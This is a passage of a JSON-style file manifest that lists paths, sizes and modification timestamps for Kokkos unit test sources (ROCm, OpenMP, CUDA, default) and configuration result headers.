e":2206,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_Scan.cpp","size":2027,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_TeamReductionScan.cpp","size":3714,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_Reducers_a.cpp","size":2033,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_MDRange_b.cpp","size":2032,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SubView_c01.cpp","size":2191,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCmHostPinned_ViewMapping_subview.cpp","size":2053,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SubView_b.cpp","size":2801,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SubView_c06.cpp","size":2253,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_AtomicOperations_int.cpp","size":2042,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SharedAlloc.cpp","size":2215,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCmHostPinned_ViewMapping_b.cpp","size":2047,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCmHostPinned_ViewMapping_a.cpp","size":2047,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SubView_c04.cpp","size":2196,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_MDRange_e.cpp","size":2032,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SubView_c02.cpp","size":2236,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_AtomicViews.cpp","size":2034,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SubView_c05.cpp","size":2241,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SubView_c11.cpp","size":2253,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCmHostPinned_ViewAPI_e.cpp","size":2042,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_ViewAPI_c.cpp","size":2032,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_Other.cpp","size":2191,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_ViewAPI_d.cpp","size":2032,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_Reducers_d.cpp","size":2033,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_ViewAPI_a.cpp","size":2032,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_AtomicOperations_unsignedint.cpp","size":2050,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_AtomicOperations_longint.cpp","size":2046,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_AtomicOperations_unsignedlongint.cpp","size":2054,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCmHostPinned_ViewAPI_b.cpp","size":2042,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_AtomicOperations_float.cpp","size":2044,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_ViewMapping_a.cpp","size":2037,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_Atomics.cpp","size":2030,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCmHostPinned_ViewAPI_a.cpp","size":2042,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_ViewOfClass.cpp","size":2035,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_All.cpp","size":1354,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SubView_c09.cpp","size":2263,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_ViewMapping_b.cpp","size":2037,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_MDRange_d.cpp","size":2032,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_Reducers_b.cpp","size":2033,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_Team.cpp","size":3220,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_Spaces.cpp","size":7286,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_Complex.cpp","size":2030,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_ViewAPI_e.cpp","size":2032,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SubView_c03.cpp","size":2248,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceType_c2.cpp","size":2379,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_7.cpp","size":86,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_14.cpp","size":86,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceType_b2.cpp","size":2336,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_12.cpp","size":86,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeResize.cpp","size":2261,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceType_a3.cpp","size":2337,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_10.cpp","size":86,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceType_b1.cpp","size":2336,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_5.cpp","size":86,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_11.cpp","size":86,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceType_b3.cpp","size":2336,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_4.cpp","size":86,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_8.cpp","size":86,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceType_c1.cpp","size":2379,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceType_a2.cpp","size":2337,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceType_a1.cpp","size":2337,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_6.cpp","size":86,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceType_d.cpp","size":2621,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_16.cpp","size":86,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_3.cpp","size":86,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceType.cpp","size":2787,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_2.cpp","size":86,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_15.cpp","size":86,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceType_c3.cpp","size":2379,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_1.cpp","size":86,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_13.cpp","size":86,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/default/TestDefaultDeviceTypeInit_9.cpp","size":86,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_AtomicViews.cpp","size":2038,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_Scan.cpp","size":2031,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_c08.cpp","size":2245,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_Team.cpp","size":3224,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_AtomicOperations_double.cpp","size":2049,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_Complex.cpp","size":2034,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_Reductions.cpp","size":2067,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_c04.cpp","size":2190,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_Reducers_d.cpp","size":2037,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_Task.cpp","size":2040,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_AtomicOperations_unsignedlongint.cpp","size":2058,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_TeamScratch.cpp","size":3137,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_TeamReductionScan.cpp","size":3669,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_c10.cpp","size":2202,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_ViewMapping_b.cpp","size":2041,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_c_all.cpp","size":585,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_MDRange_e.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_c01.cpp","size":2185,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_MDRange_a.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_a.cpp","size":3315,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_AtomicOperations_int.cpp","size":2046,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_MDRange_c.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_Reducers_b.cpp","size":2037,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_MDRange_d.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_ViewAPI_a.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_Init.cpp","size":2102,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_b.cpp","size":2805,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_Atomics.cpp","size":2034,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_Reducers_c.cpp","size":2037,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_AtomicOperations_float.cpp","size":2048,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_ViewAPI_e.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_c12.cpp","size":2259,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_ViewAPI_d.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_RangePolicy.cpp","size":2032,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_Reducers_a.cpp","size":2037,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_c05.cpp","size":2228,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_c09.cpp","size":2257,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_c13.cpp","size":2210,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_View_64bit.cpp","size":2037,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_AtomicOperations_longlongint.cpp","size":2054,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_UniqueToken.cpp","size":2037,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SharedAlloc.cpp","size":2186,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_ViewOfClass.cpp","size":2039,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_Crs.cpp","size":2030,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_ViewAPI_b.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_c02.cpp","size":2230,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_AtomicOperations_unsignedint.cpp","size":2054,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_AtomicOperations_longint.cpp","size":2050,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_c03.cpp","size":2242,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_ViewMapping_subview.cpp","size":2047,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_MDRange_b.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_c06.cpp","size":2247,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_InterOp.cpp","size":2806,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_c11.cpp","size":2247,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_ViewAPI_c.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_WorkGraph.cpp","size":2034,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_ViewMapping_a.cpp","size":2041,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_Other.cpp","size":4664,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmp/TestOpenMP_SubView_c07.cpp","size":2200,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/UnitTestMain.cpp","size":2119,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaUVM_ViewMapping_a.cpp","size":2040,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_AtomicOperations_int.cpp","size":2042,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_ViewAPI_b.cpp","size":2032,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_Crs.cpp","size":2026,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaHostPinned_ViewAPI_b.cpp","size":2042,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_View_64bit.cpp","size":2033,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_Spaces.cpp","size":13177,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_AtomicViews.cpp","size":2034,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_Reductions.cpp","size":2063,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_Reducers_d.cpp","size":2033,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_ViewAPI_a.cpp","size":2032,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_AtomicOperations_longlongint.cpp","size":2050,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaHostPinned_ViewMapping_a.cpp","size":2047,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_c10.cpp","size":2201,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaUVM_SharedAlloc.cpp","size":2201,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_ViewAPI_e.cpp","size":2032,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_MDRange_a.cpp","size":2032,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_Reducers_a.cpp","size":2033,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaHostPinned_ViewMapping_subview.cpp","size":2053,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_MDRange_b.cpp","size":2032,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_ViewAPI_d.cpp","size":2032,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_AtomicOperations_longint.cpp","size":2046,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_Init.cpp","size":2098,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaUVM_ViewAPI_d.cpp","size":2035,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_c09.cpp","size":2256,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_AtomicOperations_float.cpp","size":2044,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaUVM_ViewMapping_subview.cpp","size":2046,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaHostPinned_ViewAPI_c.cpp","size":2042,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaUVM_ViewAPI_a.cpp","size":2035,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_InterOp.cpp","size":2904,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_Reducers_b.cpp","size":2033,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_c12.cpp","size":2258,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_b.cpp","size":2804,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaHostPinned_ViewAPI_e.cpp","size":2042,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_c02.cpp","size":2229,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaUVM_ViewAPI_e.cpp","size":2035,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_c08.cpp","size":2244,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_c03.cpp","size":2241,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_a.cpp","size":3314,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_c06.cpp","size":2246,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_c13.cpp","size":2209,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_MDRange_e.cpp","size":2032,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_UniqueToken.cpp","size":2033,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_AtomicOperations_unsignedint.cpp","size":2050,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_ViewOfClass.cpp","size":2035,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_AtomicOperations_unsignedlongint.cpp","size":2054,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaUVM_ViewAPI_b.cpp","size":2035,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_ViewMapping_a.cpp","size":2037,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaUVM_ViewAPI_c.cpp","size":2035,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_ViewMapping_b.cpp","size":2037,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_Reducers_c.cpp","size":2033,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaHostPinned_ViewAPI_d.cpp","size":2042,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_MDRange_d.cpp","size":2032,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaHostPinned_ViewAPI_a.cpp","size":2042,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_Complex.cpp","size":2030,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaHostPinned_ViewMapping_b.cpp","size":2047,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_c_all.cpp","size":533,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_AtomicOperations_double.cpp","size":2045,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_TeamScratch.cpp","size":3133,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaHostPinned_SharedAlloc.cpp","size":2208,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_RangePolicy.cpp","size":2028,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_c05.cpp","size":2234,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_c11.cpp","size":2246,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_c04.cpp","size":2189,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_Task.cpp","size":2036,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_WorkGraph.cpp","size":2030,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_ViewAPI_c.cpp","size":2032,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_c07.cpp","size":2199,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_MDRange_c.cpp","size":2032,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_Other.cpp","size":2190,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_ViewMapping_subview.cpp","size":2043,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SharedAlloc.cpp","size":2201,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_SubView_c01.cpp","size":2184,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_TeamReductionScan.cpp","size":3719,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCudaUVM_ViewMapping_b.cpp","size":2040,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_Atomics.cpp","size":2030,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_Team.cpp","size":3220,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/cuda/TestCuda_Scan.cpp","size":2027,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/TestHWLOC.cpp","size":2494,"last_modified":1529436746}{"name":"./kokkos/core/unit_test/config/results/HSW_Qthreads_KokkosCore_config.h","size":630,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Pascal61_ROCm_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler35_ROCm_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell53_Qthreads_KokkosCore_config.h","size":544,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv81_Pthread_KokkosCore_config.h","size":572,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/BDW_OpenMP_KokkosCore_config.h","size":682,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/WSM_Serial_KokkosCore_config.h","size":629,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Pascal61_Serial_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/SKX_OpenMP_KokkosCore_config.h","size":688,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/SKX_Cuda_KokkosCore_config.h","size":715,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler37_Serial_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv80_Qthreads_KokkosCore_config.h","size":573,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power9_OpenMP_KokkosCore_config.h","size":633,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell53_Pthread_KokkosCore_config.h","size":543,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv81_OpenMP_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/AMDAVX_ROCm_KokkosCore_config.h","size":597,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler35_OpenMP_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell50_Qthreads_KokkosCore_config.h","size":544,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Pascal60_Pthread_KokkosCore_config.h","size":543,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler30_ROCm_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power7_OpenMP_KokkosCore_config.h","size":633,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell50_Serial_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power9_Qthreads_KokkosCore_config.h","size":635,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/KNC_Cuda_KokkosCore_config.h","size":651,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/BGQ_ROCm_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/BDW_Qthreads_KokkosCore_config.h","size":684,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/AMDAVX_Qthreads_KokkosCore_config.h","size":570,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power8_Qthreads_KokkosCore_config.h","size":635,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell53_Cuda_KokkosCore_config.h","size":631,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler30_Serial_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/KNC_ROCm_KokkosCore_config.h","size":653,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/SKX_Pthread_KokkosCore_config.h","size":689,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/AMDAVX_Cuda_KokkosCore_config.h","size":595,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv80_ROCm_KokkosCore_config.h","size":600,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/BGQ_Qthreads_KokkosCore_config.h","size":544,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell_Cuda_KokkosCore_config.h","size":631,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv80_Pthread_KokkosCore_config.h","size":572,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/BDW_ROCm_KokkosCore_config.h","size":711,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler_OpenMP_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler37_Qthreads_KokkosCore_config.h","size":544,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler30_Qthreads_KokkosCore_config.h","size":544,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler_ROCm_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell_Serial_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell52_ROCm_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/BDW_Serial_KokkosCore_config.h","size":682,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Pascal60_ROCm_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler_Cuda_KokkosCore_config.h","size":629,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/WSM_Cuda_KokkosCore_config.h","size":656,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/AMDAVX_Serial_KokkosCore_config.h","size":568,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/None_Serial_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Pascal60_OpenMP_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell52_Serial_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/HSW_Pthread_KokkosCore_config.h","size":629,"